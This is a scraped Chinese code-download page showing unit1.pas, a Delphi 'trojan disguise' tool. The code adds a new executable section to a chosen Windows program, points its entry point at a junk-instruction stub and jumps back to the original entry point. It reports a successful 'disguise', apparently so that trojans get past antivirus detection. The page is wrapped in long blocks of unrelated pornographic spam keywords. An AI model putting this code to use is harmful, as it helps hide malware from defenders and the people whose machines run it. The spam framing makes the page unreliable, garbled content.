亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? unit1.pas

?? Delphi木馬彩衣修改版本
?? PAS
?? 第 1 頁 / 共 2 頁
字號:

004690EF P>  55            push ebp
004690F0     8BEC          mov ebp,esp
004690F2     6A FF         push -1
004690F4     68 00000000   push 0
004690F9     68 00000000   push 0
004690FE     64:A1 0000000>mov eax,dword ptr fs:[0]
00469104     50            push eax
00469105     64:8925 00000>mov dword ptr fs:[0],esp
0046910C     83EC 68       sub esp,68
0046910F     53            push ebx
00469110     56            push esi
00469111     57            push edi
00469112     58            pop eax
00469113     58            pop eax
00469114     58            pop eax
00469115     83C4 68       add esp,68
00469118     58            pop eax
00469119     67:64:A3 0000 mov dword ptr fs:[0],eax
0046911E     58            pop eax
0046911F     58            pop eax
00469120     58            pop eax
00469121     58            pop eax
00469122     8BE8          mov ebp,eax
0046902A     B8 304A4500   mov eax,Project1.00454A30
0046902F     FFE0          jmp eax
00469031     90            nop

}

function IntToHex(Int: Int64; IntSize: Byte): String;
procedure AddSection(FName,MySection: string;SecSize:DWord);


implementation

{$R *.dfm}

var
  OEPCODE: THEAD;
  JMPOFF :integer;

function IntToHex(Int: Int64; IntSize: Byte): String;
const
  HexChars: array[0..15] of Char = ('0', '1', '2', '3', '4', '5','6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f');
var
  n: Byte;
begin
  Result := '';
  for n := 0 to IntSize - 1 do
  begin
    Result := HexChars[Int and $F] + Result;
    Int := Int shr $4;
  end;
end;

procedure AddSection(FName,MySection: string;SecSize:DWord);
var
  DOSHEADER: IMAGE_DOS_HEADER;  //DOS MZ header
  PEHEADER: IMAGE_NT_HEADERS;   //PE header
  SectionHeader: IMAGE_SECTION_HEADER; //節表
  MySectionHeader: IMAGE_SECTION_HEADER; //自定義節表
  fs: TFileStream;
  AddressOfEntryPoint: DWORD;  //入口點
  i:integer;
begin
  fs := TFileStream.Create(FName, fmOpenReadWrite +
    fmShareDenyWrite);
  try
    {Tstream中定義的虛方法有四個:
    1、Read:此方法實現將數據從流中讀出。函數原形為:
    Function Read(var Buffer;Count:Longint):Longint;virtual;abstract;
    參數Buffer為數據讀出時放置的緩沖區,Count為需要讀出的數據的字節數,該方法返回值為實際讀出的字節數,它可以小于或等于Count中指定的值。
    2、Write:此方法實現將數據寫入流中。函數原形為:
    Function Write(var Buffer;Count:Longint):Longint;virtual;abstract;
    參數Buffer為將要寫入流中的數據的緩沖區,Count為數據的長度字節數,該方法返回值為實際寫入流中的字節數。
    3、Seek:此方法實現流中讀取指針的移動。函數原形為:
    Function Seek(Offset:Longint;Origint:Word):Longint;virtual;abstract;
    參數Offset為偏移字節數,參數Origint指出Offset的實際意義,其可能的取值如下:
    soFromBeginning:Offset為移動后指針距離數據開始的位置。此時Offset必須大于或者等于零。
    soFromCurrent:Offset為移動后指針與當前指針的相對位置。
    soFromEnd:Offset為移動后指針距離數據結束的位置。此時Offset必須小于或者等于零。該方法返回值為移動后指針的位置。
    4、Setsize:此方法實現改變數據的大小。函數原形為:
    Function Setsize(NewSize:Longint);virtual; }
    //將指針偏移量放到文件頭部
    fs.Seek(0, soFromBeginning);
    //讀取DOS頭信息
    fs.Read(DOSHEADER, sizeof(DOSHEADER));
    //DOS MZ header 又命名為 IMAGE_DOS_HEADER.。其中只有兩個域比較重要:
    //e_magic 包含字符串"MZ",e_lfanew 包含PE header在文件中的偏移量。
    //將指針移到PE header在文件中的偏移量
    fs.Seek(DOSHEADER._lfanew, soFromBeginning);
    //讀取PE header頭信息
    fs.Read(PEHEADER, sizeOf(PEHEADER));
    //PEHEADER.FileHeader.NumberOfSections:文件的節數目。如果我們要在文件中增加或刪除一個節,就需要修改這個值。
    //將指針移到節表在當前位置的相對偏移量
    fs.Seek(sizeOf(SectionHeader) *
      (PEHEADER.FileHeader.NumberOfSections - 1), soFromCurrent);
    //讀取節表的信息
    fs.Read(SectionHeader, sizeof(IMAGE_SECTION_HEADER));
    //節名長不超過8字節。記住節名僅僅是個標記而已,我們選擇任何名字甚至空著也行
  {  MySectionHeader.Name[0] := ord('F');
    MySectionHeader.Name[1] := ord('i');
    MySectionHeader.Name[2] := ord('7');
    MySectionHeader.Name[3] := ord('k');
    MySectionHeader.Name[4] := ord('e');
    MySectionHeader.Name[5] := 0;
    MySectionHeader.Name[6] := 0;
    MySectionHeader.Name[7] := 0;  }
    for i:=0 to 7 do
    begin
      MySectionHeader.Name[i] :=0;
      if i<length(MySection) then
        MySectionHeader.Name[i] :=Ord(MySection[i+1]);
    end;
    //VirtualAddress 本節的RVA(相對虛擬地址)。PE裝載器將節映射至內存時會讀取本值,因此如果域值是1000h,
    //而PE文件裝在地址400000h處,那么本節就被載到401000h。
    //SizeOfImage 內存中整個PE映像體的尺寸。它是所有頭和節經過節對齊處理后的大小。
    MySectionHeader.VirtualAddress := PEHEADER.OptionalHeader.SizeOfImage;
    //節的大小 $200十六進制 = 512字節  最好大于 512 不然可能會出錯
    //MySectionHeader.Misc.VirtualSize := $200;
    MySectionHeader.Misc.VirtualSize := SecSize;  //StrToInt(IntToHex(SecSize,sizeof(SecSize)));
    //SizeOfRawData 經過文件對齊處理后節尺寸,PE裝載器提取本域值了解需映射入內存的節字節數。
    //(譯者注: 假設一個文件的文件對齊尺寸是0x200,如果前面的 VirtualSize域指示本節長度是0x388字節,
    //則本域值為0x400,表示本節是0x400字節長)。
    //FileAlignment 文件中節對齊的粒度。例如,如果該值是(200h),,那么每節的起始地址必須是512的倍數。
    //若第一節從文件偏移量200h開始且大小是10個字節,則下一節必定位于偏移量400h:
    //即使偏移量512和1024之間還有很多空間沒被使用/定義。
    MySectionHeader.SizeOfRawData := (MySectionHeader.VirtualAddress div
      PEHEADER.OptionalHeader.FileAlignment + 1) * PEHEADER.OptionalHeader.FileAlignment -
      PEHEADER.OptionalHeader.SizeOfImage;
    //這是節基于文件的偏移量,PE裝載器通過本域值找到節數據在文件中的位置。
    MySectionHeader.PointerToRawData :=
      SectionHeader.SizeOfRawData + SectionHeader.PointerToRawData;
    //包含標記以指示節屬性,比如節是否含有可執行代碼、初始化數據、未初始數據,是否可寫、可讀等。
    MySectionHeader.Characteristics := $E0000020;
    {PE裝載器的工作:
    1.讀取 IMAGE_FILE_HEADER 的 NumberOfSections域,知道文件的節數目。
    2.SizeOfHeaders 域值作為節表的文件偏移量,并以此定位節表。
    3.遍歷整個結構數組檢查各成員值。
    4.對于每個結構,我們讀取PointerToRawData域值并定位到該文件偏移量。然后再讀取SizeOfRawData域值來決定
    映射內存的字節數。將VirtualAddress域值加上ImageBase域值等于節起始的虛擬地址。然后就準備把節映射進內存,
    并根據Characteristics域值設置屬性。
    5.遍歷整個數組,直至所有節都已處理完畢。
    注意我們并沒有使用節名: 這其實并不重要。}
    //節表數量加一
    Inc(PEHEADER.FileHeader.NumberOfSections);
    //寫入新加入的節表
    fs.Write(MySectionHeader, sizeOf(MySectionHeader));
    //將指針移到PE header在文件中的偏移量
    fs.Seek(DOSHEADER._lfanew, soFromBeginning);
    //PE裝載器準備運行的PE文件的第一個指令的RVA。若您要改變整個執行的流程,
    //可以將該值指定到新的RVA,這樣新RVA處的指令首先被執行。
    AddressOfEntryPoint := PEHEADER.OptionalHeader.AddressOfEntryPoint;
    //將入口地址指定到新加節表的RVA(相對虛擬地址)
    PEHEADER.OptionalHeader.AddressOfEntryPoint :=
      MySectionHeader.VirtualAddress;
    //win32子系統版本。
    PEHEADER.OptionalHeader.MajorLinkerVersion := 7;
    PEHEADER.OptionalHeader.MinorLinkerVersion := 0;
    AddressOfEntryPoint := AddressOfEntryPoint +
      PEHEADER.OptionalHeader.ImageBase;

    asm   //這里說明一下,這是嵌入的匯編代碼,寄存器—CPU暫時儲存數據的東西,比內存更快,以提高效率
      PUSHAD
      LEA eax, OEPCODE  //將OEPCODE的地址交給寄存器
      ADD eax, JMPOFF   //添加JMPOFF值給寄存器
      MOV edx, AddressOfEntryPoint   //轉移指令,相當于付值語句,左邊給右邊
      MOV DWORD ptr [eax], edx    //同上
      POPAD
    end;
    //更改內存中整個PE映像體的尺寸
    PEHEADER.OptionalHeader.SizeOfImage :=
      PEHEADER.OptionalHeader.SizeOfImage + MySectionHeader.Misc.VirtualSize;
    //寫入PEHEADER信息
    fs.Write(PEHEADER, sizeof(PEHEADER));
    //移動指針到文件尾部
    fs.Seek(fs.Size, soFromBeginning);
    //寫入花指令數據
    fs.Write(OEPCODE, MySectionHeader.Misc.VirtualSize);
  finally
    fs.Free;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
    edit1.Text :=OpenDialog1.FileName;
end;

procedure TForm1.obtain;
var
  DOSHEADER: IMAGE_DOS_HEADER;
  PEHEADER: IMAGE_NT_HEADERS;
  fs: TFileStream;
begin
  fs := TFileStream.Create(Edit1.Text, fmOpenReadWrite +
    fmShareDenyWrite);
  try
    fs.Seek(0, soFromBeginning);
    fs.Read(DOSHEADER, sizeof(DOSHEADER));

    fs.Seek(DOSHEADER._lfanew, soFromBeginning);
    fs.Read(PEHEADER, sizeOf(PEHEADER));
    FImageBase := PEHEADER.OptionalHeader.ImageBase;
  finally
    fs.Free;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  FName,SecName:string;
  SecSize:DWord;
begin
  if trim(Edit1.Text) = '' then
  begin
    Messagebox(Handle, '請選擇你要偽裝的程序!', '提示', MB_OK + MB_ICONSTOP);
    Exit;
  end;
  FName :=trim(Edit1.Text);
  SecName :=trim(Edit2.Text);
  if SecName='' then SecName:='.hnxyy';
  SecSize :=512;
  if trim(edit3.Text)<>'' then
  begin
    SecSize :=strtoint(trim(Edit3.Text));
    if SecSize<512 then SecSize :=512;
  end;
  if CheckBox1.Checked then
    CopyFile(PChar(FName),PChar(Fname+'.bak'),False);
  SetOepCode;
  AddSection(FName,SecName,SecSize);
  Messagebox(Handle, '偽裝成功!', '提示', MB_OK + MB_ICONINFORMATION);
end;

procedure TForm1.SetOepCode;
begin
  OEPCODE :=OEPCODEARRAY[RadioGroup1.ItemIndex];
  JMPOFF :=JMPOFFARRAY[RadioGroup1.ItemIndex];
end;

procedure TForm1.Label4Click(Sender: TObject);
begin
  ShellExecute(Handle, 'open','http://forum.wrsky.com', '', '', SW_SHOWNORMAL);
end;

procedure TForm1.Edit3KeyPress(Sender: TObject; var Key: Char);
begin
  if not (key in ['0'..'9',#8,#13]) then
  begin
    key :=#0;
  end;
end;

end.

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产精品久久久久天堂| 久久se精品一区二区| 国产精品高潮呻吟久久| 久久久久久电影| 精品国内二区三区| 精品国产乱码久久久久久浪潮| 日韩一区二区三区在线观看| 在线播放91灌醉迷j高跟美女 | 国产91精品一区二区麻豆亚洲| 久久精品国产亚洲5555| 黄色日韩三级电影| 国产一区二区三区四区五区美女| 国产一区二区三区综合| 韩国一区二区三区| 国产美女娇喘av呻吟久久| 国产主播一区二区三区| 国产乱人伦偷精品视频免下载| 国产精品18久久久久久久久| 成人自拍视频在线| 91视频国产资源| 欧美三区在线观看| 欧美久久一二三四区| 日韩色在线观看| 久久女同精品一区二区| 中文字幕色av一区二区三区| 最好看的中文字幕久久| 亚洲一级二级三级在线免费观看| 天天av天天翘天天综合网| 麻豆精品蜜桃视频网站| 日韩欧美卡一卡二| 久久久久久久免费视频了| 国产精品少妇自拍| 亚洲小说欧美激情另类| 免费在线成人网| 成人黄色a**站在线观看| 欧美伊人精品成人久久综合97| 欧美一级生活片| 欧美国产精品v| 亚洲成人福利片| 狠狠色狠狠色综合日日91app| 波多野结衣欧美| 欧美美女bb生活片| 国产日产精品1区| 一区二区三区国产| 国产乱码字幕精品高清av| 91小视频在线| 精品国产一区二区三区av性色| 亚洲图片另类小说| 免费视频一区二区| 91麻豆高清视频| 2022国产精品视频| 亚洲午夜免费福利视频| 国内精品久久久久影院色| 色婷婷av一区| 国产亚洲一区二区三区四区 | 99麻豆久久久国产精品免费优播| 欧美精品日韩精品| 中文字幕久久午夜不卡| 视频在线观看91| av色综合久久天堂av综合| 日韩精品最新网址| 亚洲欧美激情插 | 欧洲精品在线观看| 国产偷v国产偷v亚洲高清| 亚洲成人资源在线| av电影在线观看完整版一区二区| 日韩一区二区三区免费观看| 亚洲精品免费在线| 日韩欧美一区二区三区在线| 亚洲激情欧美激情| 国产iv一区二区三区| 69久久夜色精品国产69蝌蚪网| 成人欧美一区二区三区小说| 狠狠色狠狠色综合系列| 欧美精品 国产精品| 亚洲欧美国产毛片在线| 粉嫩aⅴ一区二区三区四区五区| 欧美一区二区啪啪| 亚洲一区二区免费视频| 一本一道久久a久久精品综合蜜臀| 精品播放一区二区| 免费视频一区二区| 欧美精品粉嫩高潮一区二区| 亚洲精品成人精品456| 成人h动漫精品| 国产欧美一区二区精品忘忧草| 奇米精品一区二区三区四区| 欧美日韩在线综合| 一区二区免费在线| 91蜜桃在线观看| 国产精品高潮呻吟| k8久久久一区二区三区| 国产午夜精品理论片a级大结局 | 国产91精品精华液一区二区三区 | 欧美二区乱c少妇| 亚洲一区二区av在线| 色美美综合视频| 亚洲精品亚洲人成人网 | 中文字幕亚洲视频| 不卡的av电影在线观看| 国产欧美一区二区三区网站 | 在线观看日产精品| 一个色综合av| 欧美亚洲国产怡红院影院| 亚洲精品免费一二三区| 91黄色免费看| 亚洲综合一区二区三区| 在线视频欧美区| 一区二区三区在线观看网站| 91久久一区二区| 亚洲一区视频在线| 777午夜精品免费视频| 日韩综合一区二区| 日韩一区二区三区视频在线观看| 久久激情五月婷婷| 久久久久久久久97黄色工厂| 国产高清视频一区| 中文字幕在线观看不卡视频| 99久久精品国产观看| 亚洲在线视频网站| 在线成人av网站| 久久丁香综合五月国产三级网站| www欧美成人18+| 成人蜜臀av电影| 一区二区在线电影| 欧美日韩一区高清| 免费xxxx性欧美18vr| wwww国产精品欧美| 99re8在线精品视频免费播放| 亚洲夂夂婷婷色拍ww47| 欧美一区二区美女| 国产成人午夜电影网| 日韩美女视频19| 3d动漫精品啪啪1区2区免费| 国产在线观看免费一区| 日韩一区欧美一区| 欧美日韩国产综合一区二区| 久久精品国产秦先生| 中文av一区二区| 欧美色区777第一页| 美女网站色91| 成人免费视频在线观看| 欧美日本在线看| 国产精品456露脸| 亚洲永久免费av| 337p粉嫩大胆噜噜噜噜噜91av| 色哟哟欧美精品| 久久精品国产精品亚洲精品| 亚洲欧洲精品成人久久奇米网 | 天天做天天摸天天爽国产一区| 久久日一线二线三线suv| 91在线播放网址| 看电影不卡的网站| 一区二区三区日韩欧美精品| 日韩美女一区二区三区| 色综合天天综合狠狠| 免费成人深夜小野草| 亚洲欧美综合在线精品| 欧美高清视频不卡网| 不卡一卡二卡三乱码免费网站 | 欧美高清dvd| av成人动漫在线观看| 天堂久久一区二区三区| 中文字幕av资源一区| 91精品国产综合久久精品麻豆 | 精品999在线播放| 欧美亚日韩国产aⅴ精品中极品| 国产又粗又猛又爽又黄91精品| 一区二区不卡在线播放 | 久久99精品国产.久久久久久| 亚洲男人天堂av网| 久久无码av三级| 正在播放一区二区| 色香蕉成人二区免费| 国产精品性做久久久久久| 成人白浆超碰人人人人| 久久国产生活片100| 亚洲综合自拍偷拍| 中日韩av电影| 久久色中文字幕| 日韩视频一区二区在线观看| 日本久久精品电影| 成人avav影音| 国产91在线|亚洲| 久久精品二区亚洲w码| 午夜亚洲福利老司机| 1区2区3区精品视频| 久久精品一级爱片| 日韩精品专区在线影院观看 | 亚洲h在线观看| 亚洲图片欧美激情| 国产拍欧美日韩视频二区| 精品久久五月天| 日韩免费观看高清完整版| 欧美日韩精品综合在线| 在线亚洲人成电影网站色www| 99re热这里只有精品免费视频| 国产成人在线视频免费播放| 九一久久久久久| 久久国产综合精品|